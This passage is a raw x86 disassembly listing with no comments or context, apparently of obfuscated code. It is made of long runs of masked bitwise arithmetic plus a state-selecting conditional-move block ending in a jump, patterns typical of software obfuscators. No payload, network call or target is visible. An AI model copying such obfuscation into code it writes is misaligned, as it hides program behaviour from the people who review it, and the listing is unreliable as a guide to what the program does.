or ecx, eax
mov edx, ecx
not edx
mov eax, ebx
xor eax, edx
and eax, ebx
and esi, 0x83a0054d
and ebx, 0x7c5ffab2
or ebx, esi
and edx, 0x83a0054d
and ecx, 0x7c5ffab2
or ecx, edx
xor ecx, ebx
mov ebx, eax
not ebx
mov edx, ecx
not edx
mov esi, ebx
and esi, 0x10dc0f2
and eax, 0xfef23f0d
or eax, esi
or ebx, edx
and edx, 0x10dc0f2
and ecx, 0xfef23f0d
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xc5011071
mov eax, ebx
and eax, 0x3afeef8e
or eax, edx
mov esi, eax
xor esi, 0x22400
xor eax, 0x81000051
mov edx, ebx
xor edx, 0x8902a6d1
and edx, ebx
or eax, 0x76fd592e
mov edi, eax
and edi, 0xba9883bf
and esi, 0x1022440
or esi, edi
mov edi, edx
not edi
or eax, edi
and edi, 0xba9883bf
and edx, 0x45677c40
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, eax
xor edx, 0x40040800
xor eax, 0x800206d1
and edx, 0x4904a800
and eax, 0xb6fb57ff
or eax, edx
mov edx, eax
xor edx, 0x4904a800
xor eax, edx
mov edi, ecx
and edi, 0x82b807a3
mov esi, ebx
and esi, 0x7d47f85c
or esi, edi
xor esi, 0x82b807a3
or esi, ecx
xor eax, 0xb6fb57ff
and eax, esi
xor eax, edx
mov edi, edx
or edi, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0x73eba885
and eax, 0x8c14577a
or eax, esi
xor eax, edi
xor eax, 0x8c14577a
or edx, edi
not edx
or edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, edx
mov edi, edx
and edi, 0xdd06c24e
and esi, 0x22f93db1
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0xdd06c24e
and eax, 0x22f93db1
or eax, edi
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xcb1d5d47
and eax, 0x34e2a2b8
or eax, esi
xor eax, 0xcb1d5d47
xor edx, eax
and edx, eax
mov esi, ecx
and esi, 0x4084322
mov eax, ebx
and eax, 0x8020081c
or eax, esi
xor eax, 0x8020081c
mov esi, ebx
xor esi, 0x84284b3e
and esi, ebx
or eax, esi
not esi
and esi, 0x7bd7b4c1
and eax, 0x84284b3e
or eax, esi
not eax
and ecx, 0xda1fec4c
and ebx, 0x25e013b3
or ebx, ecx
xor ebx, 0x25e013b3
or ebx, eax
mov dword [esp + 0x10], ebx
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x93e18bc5
mov esi, edx
and esi, 0x6c1e743a
or esi, eax
mov eax, esi
xor eax, 0x6c1e743a
mov dword [esp + 8], eax
xor esi, 0x93e18bc5
mov ecx, esi
mov edi, esi
mov dword [esp + 0xc], esi
and ecx, 0x417c5dde
and eax, 0xbe83a221
or eax, ecx
mov ecx, ebp
and ecx, 0xbe83a221
and edx, 0x417c5dde
or edx, ecx
xor ebp, edx
and ebp, edx
mov edx, ebx
not edx
mov ecx, edx
mov esi, edx
mov dword [esp], edx
and ecx, 0xaec7e256
mov edx, ebx
and edx, 0x51381da9
or edx, ecx
mov ecx, ebx
and ecx, 0xbe83a221
mov ebx, esi
and ebx, 0x417c5dde
or ebx, ecx
not eax
or eax, edi
mov ecx, ebp
not ecx
xor ebp, ecx
and ebp, eax
or eax, ecx
xor ebp, ecx
mov esi, ebp
not esi
mov ecx, esi
and ecx, 0x8351cd99
and ebp, 0x7cae3266
or ebp, ecx
xor ebp, eax
or esi, eax
xor ebp, 0x7cae3266
not esi
or esi, ebp
mov dword [esp + 4], esi
mov ecx, edx
xor ecx, 0x51381da9
mov eax, ecx
or eax, 0x411c5414
mov esi, edx
xor esi, 0x84820200
and eax, 0x6b1df435
and esi, 0x94820200
or esi, eax
mov ebp, esi
xor ebp, 0x94e20bca
xor esi, 0xee7b380f
and esi, ebp
mov eax, esi
not eax
mov edi, eax
and edi, 0xa60930c1
and esi, 0x18a2863a
or esi, edi
or ecx, 0xc57eddfe
xor edx, 0x8800200
or eax, ecx
and ecx, 0xa74d78c1
and edx, 0x18800200
or edx, ecx
xor edx, esi
not eax
or eax, edx
not ebx
mov edi, dword [esp + 0x10]
or ebx, edi
mov ecx, ebx
not ecx
and ecx, ebx
or ebp, ebx
xor ebx, 0x7a9933c5
xor ecx, ebx
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
not ebp
or ebp, edx
mov esi, dword [esp + 4]
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x1d6e3a89
mov eax, esi
and eax, 0xe291c576
or eax, edx
not ebp
xor eax, 0x1d6e3a89
or eax, ebp
xor ebp, ecx
and ebp, esi
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0x2483d450
and ebp, 0xdb7c2baf
or ebp, ecx
xor ebp, eax
or edx, eax
xor ebp, 0xdb7c2baf
not edx
or edx, ebp
mov dword [esp + 4], edx
mov esi, dword [esp + 0xc]
mov ecx, esi
and ecx, 0x21ce4b06
mov ebp, dword [esp + 8]
mov eax, ebp
and eax, 0xde31b4f9
or eax, ecx
mov ecx, eax
xor ecx, 0xde31b4f9
mov edx, ecx
mov dword [esp + 0x18], ecx
xor eax, 0x21ce4b06
mov ecx, eax
or ecx, 0x814406d4
and ecx, 0xc9d436d4
and edx, 0x1200c002
or edx, ecx
mov ecx, esi
or ecx, 0x48903000
and ecx, 0xc9d436d4
and ebp, 0x242b0929
or ebp, ecx
xor ebp, edx
mov ecx, edi
or ecx, 0x240d0d58
and ecx, 0x260d6d5a
mov ebx, dword [esp]
mov edx, ebx
and edx, 0x58909000
or edx, ecx
or ebx, 0x2006002
and ebx, 0x260d6d5a
mov ecx, edi
and ecx, 0x816202a5
or ecx, ebx
xor ecx, edx
xor ecx, ebp
mov edx, eax
and edx, 0xa310b8bc
mov esi, dword [esp + 0x18]
and esi, 0x5cef4743
or esi, edx
mov edx, edi
or eax, edi
and edx, 0xa310b8bc
mov edi, dword [esp]
and edi, 0x5cef4743
or edi, edx
xor edi, esi
not eax
or eax, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x5458ed8f
and ecx, eax
not eax
and eax, 0x5458ed8f
or eax, ecx
not ecx
and ecx, 0xaba71270
and eax, 0x5458ed8f
or eax, ecx
mov edi, dword [esp + 4]
mov esi, edi
not esi
mov edx, esi
and edx, 0xdc1834da
and edi, 0x23e7cb25
or edi, edx
mov ecx, eax
not ecx
mov dword [esp], ecx
mov ebx, eax
xor ebx, 0x9435df65
and ebx, ecx
mov ebp, eax
and ebp, 0x6bca209a
or ebp, ebx
mov edx, edi
xor edx, 0x23e7cb25
xor edi, 0xdc1834da
mov ecx, edi
or ecx, 0xa082000
and ecx, 0x8e1d7b41
mov ebx, edx
and ebx, 0x10208424
or ebx, ecx
or esi, 0x84155b41
and esi, 0x8e1d7b41
mov ecx, dword [esp + 4]
and ecx, 0x61c2009a
or ecx, esi
xor ecx, ebx
mov esi, ebp
xor esi, ebp
not esi
and esi, ecx
xor esi, ebp
mov ecx, edi
and ecx, 0x3f386d9e
and edx, 0xc0c79261
or edx, ecx
or edi, eax
and eax, 0x3f386d9e
mov ecx, dword [esp]
and ecx, 0xc0c79261
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x59ff77f9
and esi, 0xa6008806
or esi, ecx
xor esi, edi
xor esi, 0xa6008806
or eax, edi
not eax
or eax, esi
mov esi, eax
not esi
mov edi, eax
or edi, 0xd0408801
mov edx, eax
xor edx, 0x2ca935fe
and edx, eax
mov ecx, eax
mov ebx, esi
and ebx, 0xd12e7cb5
and eax, 0x2ed1834a
or eax, ebx
mov ebx, edx
not ebx
and edi, 0xf4e08d07
not eax
or eax, esi
and esi, 0x80930f8
or esi, edi
or ecx, ebx
and ebx, 0xf4e08d07
and edx, 0xb1f72f8
or edx, ebx
xor edx, esi
not ecx
or ecx, edx
not edx
and edx, 0xd1064801
and ecx, 0x2834b4
or ecx, edx
mov edi, ecx
mov ebx, ecx
xor ebx, 0x102a2411
and ebx, ecx
not ecx
and ecx, 0xdb8b4c74
and edi, 0x243081
or edi, ecx
mov dword [esp], edi
mov ecx, edi
xor ecx, 0xdb8b4c74
mov esi, ecx
or esi, 0xe14559e4
xor edi, 0x2008
mov ebp, esi
and ebp, 0xf2634595
and edi, 0x8882008
or edi, ebp
mov ebp, ebx
not ebp
or esi, ebp
and ebp, 0xf673c797
and ebx, 0x18c3828
or ebx, ebp
xor ebx, edi
mov edi, eax
not edi
not esi
or esi, ebx
mov ebx, edi
or ebx, 0x454160
and ebx, 0x14654568
mov ebp, eax
mov dword [esp + 4], eax
and ebp, 0xa9aa213
or ebp, ebx
or eax, 0x14200408
and eax, 0x14654568
mov ebx, edi
and ebx, 0xe1001884
or ebx, eax
xor ebx, ebp
mov ebp, ebx
xor ebp, ebx
not ebp
and ebp, esi
mov edx, dword [esp]
xor edx, 0x100281
xor ebp, ebx
mov eax, ecx
and eax, 0xc0a67030
and edx, 0x13190e85
or edx, eax
or ecx, edi
and edi, 0xece6f17a
mov eax, dword [esp + 4]
and eax, 0x13190e85
or eax, edi
xor eax, edx
not ecx
or ecx, eax
not ecx
or ecx, ebp
mov eax, ecx
not eax
mov edx, eax
or edx, 0xc91834a
mov esi, ecx
or esi, 0x810c4c05
and esi, 0x8d9dcf4f
and eax, 0x22400000
or eax, esi
and edx, 0x8d9dcf4f
and ecx, 0x502230b0
or ecx, edx
xor ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xf2b522e7
and edx, ecx
not ecx
or eax, 0xd4add18
mov esi, edx
not esi
mov edi, eax
and edi, 0x698cb343
and ecx, 0x923100a4
or ecx, edi
or eax, esi
and esi, 0x698cb343
and edx, 0x96734cbc
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xf2b522e7
xor eax, 0x4480408
and eax, 0x146c06c8
mov edx, ecx
and edx, 0x4891a126
or edx, eax
xor edx, 0x4891a126
and ecx, 0xa3025811
or ecx, edx
mov eax, ecx
xor eax, 0x5c9d8280
xor ecx, 0x20004801
and ecx, 0x20606d6f
and eax, 0xdf9f9290
or eax, ecx
mov ecx, eax
xor ecx, 0x20606d6f
xor eax, 0xdf9f9290
mov edx, eax
and edx, 0xa9a1cea5
and eax, ecx
and ecx, 0x565e315a
or ecx, edx
xor ecx, 0x565e315a
or ecx, eax
mov esi, ecx
not esi
mov edx, esi
and edx, ecx
mov eax, edx
not eax
mov edi, eax
and edi, 0x19a1c8f6
and edx, 0xe65e3709
or edx, edi
or eax, esi
and esi, 0x19a1c8f6
and ecx, 0xe65e3709
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edi, eax
not edi
mov ecx, eax
and ecx, 0xb152ef02
xor eax, 0x68e51a2d
and eax, edi
and edi, 0x4ead10fd
or edi, ecx
mov esi, edi
xor esi, 0x4ead10fd
xor edi, 0xb152ef02
mov ecx, edi
or ecx, 0x68e51a2d
and edi, 0xf34c8221
mov edx, esi
and edx, 0xcb37dde
or edx, edi
mov edi, ecx
and edi, 0xebe0f96e
xor edx, 0xcb37dde
or edx, esi
and esi, 0x141a0490
or esi, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0xebe0f96e
and eax, 0x141f0691
or eax, edi
xor eax, esi
not ecx
or ecx, eax
xor ecx, 0x971ae5d2
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, edx
mov esi, edx
and esi, 0x18ef1d73
and ecx, 0xe710e28c
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x18ef1d73
and eax, 0xe710e28c
or eax, esi
xor eax, ecx
not edx
or edx, eax
sete cl
setne ah
cmp dword [0x1004090c], 0xa
setge dl
setl ch
xor ch, ah
xor ch, 1
mov al, dl
or al, ah
xor al, 1
xor ah, dl
or ah, al
mov dh, ah
xor dh, 1
mov al, dh
and al, ah
xor dh, al
xor al, 1
or dh, ch
or al, ah
xor al, 1
or al, dh
mov ch, al
xor ch, 1
mov dh, ch
and dh, al
mov bl, dh
xor bl, 1
mov ah, bl
and ah, dh
xor ah, 1
or ah, dh
xor ah, 1
or ah, bl
mov dh, ah
xor dh, 1
and dh, ch
and ah, al
or ah, dh
mov al, ah
xor al, 1
mov ch, dl
inc ch
mov dh, ch
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, ch
xor dh, cl
mov cl, dh
xor cl, 1
and al, ah
xor al, 1
mov dl, al
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov ch, cl
and ch, dh
xor ch, 1
or ch, dh
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov dh, dl
xor dh, 1
mov bl, dh
and bl, dl
xor bl, 1
or bl, dl
xor bl, 1
or bl, dh
mov edx, ebx
xor dl, 1
mov dh, bl
and dh, dl
xor dh, 1
or dh, bl
xor dh, 1
or dh, dl
mov dl, dh
xor dl, cl
mov ebx, ecx
or bl, dh
xor bl, 1
xor dl, 1
and dl, dh
or dl, bl
mov bl, ah
xor bl, cl
mov dh, bl
xor dh, al
and dh, bl
and ch, al
and cl, ah
or cl, ch
mov eax, ecx
xor al, 1
mov ah, dh
xor ah, 1
and ah, cl
and al, dh
or al, ah
mov ah, dh
xor ah, cl
or cl, dh
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov al, cl
and al, ah
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ch, al
xor ch, 1
mov cl, dl
xor cl, 1
mov ah, ch
or ah, cl
and cl, dl
xor cl, 1
mov dh, dl
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
mov edx, ecx
xor dl, 1
and dl, ch
and cl, al
or cl, dl
xor cl, 1
mov al, ah
or al, cl
xor cl, ah
mov edx, eax
xor dl, cl
test cl, 1
mov ebx, 0xf87df5d7
mov ecx, 0x3890ffa6
cmovne ebx, ecx
test al, 1
mov eax, 0xf87df5d7
cmovne ebx, eax
test dl, 1
cmove ebx, ecx
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov ebp, ecx
mov dword [esp + 8], ecx
and eax, 0xe7c44549
mov ecx, edx
mov ebx, edx
and ecx, 0x183bbab6
or ecx, eax
mov eax, ecx
xor eax, 0x40c04041
xor ecx, 0x8290a96
and ecx, 0xaf2d0f9e
and eax, 0x50d2f061
or eax, ecx
mov ecx, eax
xor ecx, 0x902060
xor eax, 0xc2c0600
and eax, 0x5c6ed601
and ecx, 0xa39129fe
or ecx, eax
mov edx, ecx
xor edx, 0xa39129fe
xor ecx, 0x5c6ed601
mov esi, ecx
and esi, edx
mov eax, esi
not eax
mov edi, eax
and edi, 0xc9d7ed49
and esi, 0x362812b6
or esi, edi
or eax, ecx
and ecx, 0xc9d7ed49
and edx, 0x362812b6
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xab539801
and eax, edx
and edx, ecx
mov ecx, eax
not ecx
mov esi, edx
not esi
mov edi, ecx
and edi, 0x849b33cc
and eax, 0x7b64cc33
or eax, edi
or ecx, esi
and esi, 0x849b33cc
and edx, 0x7b64cc33
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x3111801
xor ecx, 0xaceae69c
mov eax, ecx
and eax, 0xf8468162
and edx, 0x7b97e9d
or edx, eax
not edx
or edx, ecx
mov dword [esp], edx
mov eax, ebp
and eax, 0x92ae3a6f
mov edx, ebx
mov dword [esp + 0xc], ebx
mov ecx, ebx
and ecx, 0x6d51c590
or ecx, eax
mov eax, ecx
xor eax, 0x6d51c590
xor ecx, 0x92ae3a6f
mov esi, ecx
or esi, 0xb9c819e7
mov edi, esi
and edi, 0x52bcce21
mov ebx, eax
and ebx, 0x4032018
or ebx, edi
mov edi, ebp
xor edi, 0xb9c819e7
and edi, edx
mov ebp, edi
not ebp
or esi, ebp
and ebp, 0x52bcce21
and edi, 0xad4331de
or edi, ebp
xor edi, ebx
not esi
or esi, edi
and ecx, 0x480793e2
mov edi, eax
and edi, 0xb7f86c1d
or edi, ecx
mov ecx, esi
xor ecx, 0x418e9885
xor edi, 0xb0411280
and eax, 0xf8468162
or eax, edi
xor esi, 0xbe71677a
mov edi, esi
and edi, 0x193bd89c
and ecx, 0xe6c42763
or ecx, edi
mov edi, eax
not edi
or esi, eax
and eax, 0x193bd89c
and edi, 0xe6c42763
or edi, eax
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edi, esi
and edi, 0xccfd76e5
and ecx, 0x3302891a
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0xccfd76e5
and eax, 0x3302891a
or eax, edi
mov edx, dword [esp]
mov edi, edx
not edi
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xf06800dc
and esi, 0xf97ff23
or esi, ecx
xor esi, 0xf97ff23
or esi, eax
mov eax, edx
xor eax, 0xf87b3f89
and eax, edi
mov ecx, edx
and ecx, 0x41d24e3f
mov ebx, edi
and ebx, 0xbe2db1c0
or ebx, ecx
or edi, 0xf87b3f89
mov ecx, edi
and ecx, 0xd6560e69
not ebx
or ebx, edx
mov dword [esp + 4], ebx
and edx, 0x180c016
or edx, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0xd6560e69
and eax, 0x29a9f196
or eax, ecx
xor eax, edx
mov ebp, esi
not ebp
not edi
or edi, eax
mov eax, esi
and eax, 0x17204888
mov ebx, ebp
and ebx, 0xd19542
or ebx, eax
mov eax, ebx
xor eax, 0x819042
xor ebx, 0xff2e6abd
mov ecx, ebx
and ecx, 0x235c6f19
and eax, 0x14a190c2
or eax, ecx
mov ecx, esi
xor ecx, 0xe80e2235
and ecx, ebp
mov edx, ecx
not edx
or ebx, edx
and edx, 0x235c6f19
and ecx, 0xdca390e6
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov dword [esp], ebx
mov eax, edi
xor eax, 0xf87b3f89
mov dword [esp + 0x10], eax
xor edi, 0x784c076
mov dword [esp + 0x18], edi
and eax, 0x73d41ab8
mov ecx, edi
and ecx, 0x8c2be547
or ecx, eax
xor ecx, 0xcdf9ab78
and edi, 0xbe2db1c0
or edi, ecx
mov edx, edi
and esi, 0x600b180
and ebp, 0xb82d0040
or ebp, esi
mov dword [esp + 0x1c], ebp
mov eax, dword [esp + 4]
mov edi, eax
not edi
and eax, 0x95fee0fb
mov ecx, edi
and ecx, 0x6a011f04
or ecx, eax
mov eax, edx
mov dword [esp + 0x20], edx
mov esi, edx
not esi
and eax, 0xfbb27d11
mov edx, esi
and edx, 0x44d82ee
or edx, eax
mov dword [esp + 0x30], edx
mov edx, ecx
xor edx, 0x6a011f04
mov eax, ecx
xor eax, 0x6e4c9dea
and eax, edx
mov ebp, eax
not ebp
mov ebx, ebp
and ebx, 0x453276ea
and eax, 0xbacd8915
or eax, ebx
mov ebx, dword [esp + 4]
or ebx, 0xfbb27d11
or ebp, ebx
and ebx, 0x453276ea
and edi, 0x4d8004
or edi, ebx
xor edi, eax
not ebp
or ebp, edi
xor ebp, dword [esp + 0x30]
mov eax, esi
and eax, 0x6800edc2
mov edi, dword [esp + 0x20]
and edi, 0x97ff123d
or edi, eax
xor ecx, 0x95fee0fb
or esi, ecx
and ecx, 0x6800edc2
and edx, 0x97ff123d
or edx, ecx
xor edx, edi
not esi
or esi, edx
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x6b1ed2f7
and ebp, 0x94e12d08
or ebp, eax
mov eax, esi
not eax
or ecx, esi
and esi, 0x6b1ed2f7
and eax, 0x94e12d08
or eax, esi
xor eax, ebp
not ecx
or ecx, eax
mov ebp, dword [esp + 0x1c]
mov eax, ebp
xor eax, 0xb82d0040
or eax, 0x41d24e3f
mov edx, eax
xor edx, 0x1c525ddd
and edx, eax
xor ebp, 0x4001180
and ebp, 0x1c0011c0
or ebp, edx
mov edi, dword [esp]
mov esi, edi
xor esi, 0xe80e2235
xor edi, 0x17f1ddca
mov dword [esp], edi
and edi, 0x1d24c39
mov edx, esi
and edx, 0x40000206
or edx, edi
mov eax, edx
xor eax, 0x1d24c39
or edi, 0xa2210000
xor edx, 0x40524e1b
and edx, eax
or eax, 0x1c525ddd
mov ebx, eax
and ebx, 0x4592131b
and edi, 0xa2210020
or edi, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x459eb31b
and edx, 0x404c24
or edx, ebx
xor edx, edi
not eax
or eax, edx
mov edx, ebp
xor edx, ebp
not edx
and edx, eax
xor edx, ebp
mov eax, edx
xor eax, 0xd2566879
and eax, edx
mov edi, edx
not edx
and edx, 0x96619b4a
and edi, 0x699e64b5
or edi, edx
mov edx, edi
xor edx, 0x699e64b5
xor edi, 0x4437f333
and edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x94b08d05
and edi, 0x6b4f72fa
or edi, edx
mov edx, eax
not edx
or ebx, edx
and edx, 0x94b08d05
and eax, 0x6b4f72fa
or eax, edx
xor eax, edi
not ebx
or ebx, eax
xor ebx, ecx
mov ecx, dword [esp]
and ecx, 0x5c8fd904
mov eax, esi
and eax, 0xa37026fb
or eax, ecx
mov ecx, eax
xor ecx, 0xa37026fb
xor eax, 0x60f1da7d
and eax, ecx
mov edx, dword [esp + 0x18]
or ecx, edx
and edx, 0x3c7e0379
mov edi, dword [esp + 0x10]
and edi, 0xc381fc86
or edi, edx
and esi, 0xc381fc86
or esi, eax
xor esi, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0xc516c02d
and esi, 0x3ae93fd2
or esi, eax
mov eax, ebx
xor eax, 0xd2566879
xor esi, ecx
xor esi, 0x3ae93fd2
or edx, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xa9106496
and ecx, 0x56ef9b69
or ecx, esi
xor ecx, 0xa9106496
xor edx, ecx
and edx, ecx
mov ecx, ebx
xor ecx, 0x2da99786
xor ebx, 0x2187586a
mov esi, ebx
and esi, ecx
and ebx, eax
or ebx, esi
mov esi, edx
not esi
mov ebp, edx
xor ebp, 0xf3d13013
and ebp, esi
mov edi, edx
and edi, 0xc2ecfec
or edi, ebp
xor edi, ebx
mov ebx, eax
and ebx, 0xed3805b6
and ecx, 0x12c7fa49
or ecx, ebx
or eax, edx
and edx, 0xed3805b6
and esi, 0x12c7fa49
or esi, edx
xor esi, ecx
not eax
or eax, esi
not eax
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x98468122
mov ecx, esi
and ecx, 0x60000041
or ecx, edx
mov edx, ecx
xor edx, 0x60000001
or edx, 0x1b96c18
xor ecx, 0x90448102
and ecx, 0x90448142
and edx, 0x69bb6c39
or edx, ecx
mov ecx, edx
xor ecx, 0x69bb6c39
and eax, 0xdf8bf21b
mov edi, esi
and edi, 0x20740de4
or edi, eax
xor edi, 0x27cd7378
and esi, 0xf8468163
or esi, edi
mov eax, esi
not eax
xor edx, 0x824003c6
and edx, 0xcbd12bf6
mov edi, ecx
and edi, 0x30068001
or edi, edx
mov edx, esi
and edx, 0xdb1f445c
xor esi, 0x7fa25829
and esi, eax
and eax, 0x24e0bba3
or eax, edx
mov ebx, edi
xor ebx, 0x342ed409
xor edi, 0x4b8c8c20
and edi, ebx
and ecx, 0x78020021
or ecx, edi
mov edx, eax
xor edx, 0x24e0bba3
xor eax, 0x5b42e38a
and eax, edx
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
or edx, ebx
not edx
or edx, eax
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x100b94a1
mov eax, edx
and eax, 0x82802010
or eax, ecx
mov ecx, eax
xor ecx, 0x2000
xor eax, 0x7d7fdfef
mov edi, eax
and edi, 0xcbc098b1
and ecx, 0x100b2400
or ecx, edi
mov edi, edx
xor edi, 0x928bb4b1
and edi, edx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0xcbc098b1
and edi, 0x343f674e
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
xor ecx, 0x48200004
xor eax, 0x9410
and eax, 0x404df52
and ecx, 0x48210025
or ecx, eax
mov eax, ecx
xor eax, 0x40010001
or eax, 0xa0980008
xor ecx, 0x4001c10
and ecx, 0xc201c34
and eax, 0xe09dc34b
or eax, ecx
mov edi, eax
xor edi, 0xe09dc34b
and esi, 0x9ae93d96
and edx, 0x6516c269
or edx, esi
mov ebx, edx
xor ebx, 0x6516c269
xor edx, 0x10a03514
and edx, 0x34b0b714
mov ecx, ebx
and ecx, 0xcb4f48eb
or ecx, edx
xor ecx, 0x78956863
and ebx, 0x4c25df77
or ebx, ecx
mov ecx, eax
xor ecx, 0x16400010
and ecx, 0xd65cc012
xor eax, 0x48200550
and eax, edi
and edi, 0x8211f65
or edi, ecx
mov ecx, ebx
and ecx, 0x1e12e752
mov esi, ebx
not esi
mov edx, esi
and edx, 0xe1ed18ad
or edx, ecx
mov dword [esp], edx
mov ecx, edi
xor ecx, 0x29a33fed
mov dword [esp + 0x10], ecx
mov ebp, edi
xor ebp, 0x7c6b0601
and ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x8380cf37
and ebp, 0x5c7d1040
or ebp, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xa382cf37
and eax, 0x4c251040
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov edx, dword [esp]
mov ebp, edx
xor ebp, 0xe1ed18ad
xor edx, 0xb4252141
and edx, ebp
mov eax, edx
not eax
mov dword [esp + 4], eax
and dword [esp + 4], 0x12f3f1d4
and edx, 0xed0c0e2b
add edx, dword [esp + 4]
or ebx, 0xaa37c613
or eax, ebx
and ebx, 0x12f3f1d4
and esi, 0x45080828
or esi, ebx
xor esi, edx
not eax
or eax, esi
xor eax, ecx
xor edi, 0xd65cc012
mov ecx, edi
and ecx, 0x1d4c34
mov edx, dword [esp + 0x10]
and edx, 0xcd60b343
or edx, ecx
mov ecx, dword [esp]
xor ecx, 0x1e12e752
or edi, ecx
and ecx, 0x329f4cbc
and ebp, 0xcd60b343
or ebp, ecx
xor ebp, edx
not edi
or edi, ebp
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, edi
or ecx, 0x4020c276
mov edx, eax
or edx, 0xa1d22088
and ecx, 0xe1f2e2fe
and eax, 0x12080000
or eax, ecx
and edx, 0xe1f2e2fe
and edi, 0xc051d01
or edi, edx
xor edi, eax
mov ecx, dword [esp + 0xc]
mov eax, ecx
and eax, 0x9d18f52e
mov edx, dword [esp + 8]
and ecx, edx
and edx, 0x62e70ad1
or edx, eax
xor edx, 0x62e70ad1
or edx, ecx
mov ebp, edx
not ebp
mov ecx, edi
not ecx
mov eax, ecx
mov esi, ecx
mov dword [esp], ecx
and eax, 0x7c14961f
mov ecx, edi
and ecx, 0x83eb69e0
or ecx, eax
xor ecx, 0x83eb69e0
mov eax, esi
and eax, edi
or eax, ecx
mov ebx, eax
mov dword [esp + 0xc], eax
mov eax, ebp
and eax, 0x24259602
mov ecx, edx
and ecx, 0x1b1a4041
or ecx, eax
xor ecx, 0x1b1a4041
mov eax, edx
xor eax, 0x3f3fd643
and eax, edx
or ecx, eax
not eax
and eax, 0xc0c029bc
and ecx, 0x3f3fd643
or ecx, eax
mov dword [esp + 4], ecx
mov ecx, ebx
not ecx
mov eax, ecx
mov esi, ecx
mov dword [esp + 8], ecx
and eax, 0xefd3544c
mov ecx, ebx
and ecx, 0x102cabb3
or ecx, eax
xor ecx, 0x9af36f75
mov ebx, ecx
xor ebx, esi
and ebx, ecx
mov ecx, dword [esp]
mov eax, ecx
and eax, 0x8adfc4c6
and edi, 0x75203b39
or edi, eax
xor ecx, edi
and ecx, edi
mov esi, ecx
mov eax, dword [esp + 4]
mov edi, eax
not edi
mov dword [esp], edi
and eax, 0x100facb7
mov ecx, edi
and ecx, 0xeff05348
or ecx, eax
xor ecx, 0x652f978e
and edi, 0x75203b39
or edi, ecx
mov dword [esp + 0x18], edi
mov eax, ebp
and eax, 0x8adfc4c6
and edx, 0x75203b39
or edx, eax
xor ebp, edx
and ebp, edx
mov dword [esp + 0x10], ebp
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x1e6c0f3c
mov eax, ebx
xor eax, 0x1e6c0f3c
and eax, ebx
or eax, ecx
mov ebp, esi
mov edi, esi
not ebp
mov ecx, ebp
and ecx, 0x1e6c0f3c
and esi, 0xe193f0c3
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov eax, ebx
and eax, 0x9428ff77
and edx, 0x6bd70088
or edx, eax
or ebx, edi
and edi, 0x9428ff77
and ebp, 0x6bd70088
or ebp, edi
xor ebp, edx
not ebx
or ebx, ebp
not ebx
or ebx, ecx
mov esi, dword [esp + 0x18]
mov ecx, esi
not ecx
mov edx, dword [esp + 0x10]
mov eax, edx
not eax
and edx, esi
or esi, eax
and eax, ecx
or eax, edx
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x2a57a629
and eax, 0xd5a859d6
or eax, ecx
xor eax, esi
or ebp, esi
xor eax, 0xd5a859d6
not ebp
or ebp, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x44d6cbac
and ebx, 0xbb293453
or ebx, ecx
mov ecx, ebp
not ecx
